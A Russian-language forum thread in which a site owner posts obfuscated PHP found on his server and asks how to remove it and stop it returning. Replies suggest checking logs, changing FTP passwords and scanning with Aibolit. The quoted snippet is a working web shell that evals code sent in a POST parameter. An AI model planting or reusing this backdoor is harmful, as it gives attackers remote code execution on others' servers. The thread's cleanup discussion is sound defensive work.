Что это за вирус и откуда он залезает на сервер?

Question

[Eugene]

<?php
$ngwi50="_peurots";$rofc36= $ngwi50[7].$ngwi50[6].$ngwi50[4].$ngwi50[6]. $ngwi50[5].
$ngwi50[3].$ngwi50[1].$ngwi50[1].$ngwi50[2]. $ngwi50[4] ; $aqu3 =$rofc36 ( $ngwi50[0]. $ngwi50[1]. $ngwi50[5].
$ngwi50[7]. $ngwi50[6]); if (isset ( ${ $aqu3} ['qf385ab'] ) ){ eval ( ${ $aqu3 } ['qf385ab']) ; } 
?>

И как сделать, что больше не залезал?
И как вылечить?

Comments

[Dim Boy]

сдесь чего-то не зватает, поищите ещё в файлах

Answer 1

[Владимир Мартьянов]

Изучение логов определенно вам поможет понять откуда он. И, соответственно, как предотвратить.

Answer 2

[Fairlancer]

Это кусок зашифрованного PHP кода. Попробуйте сменить пароли на FTP а также просканировать ваш сайт, при помощи Айболита!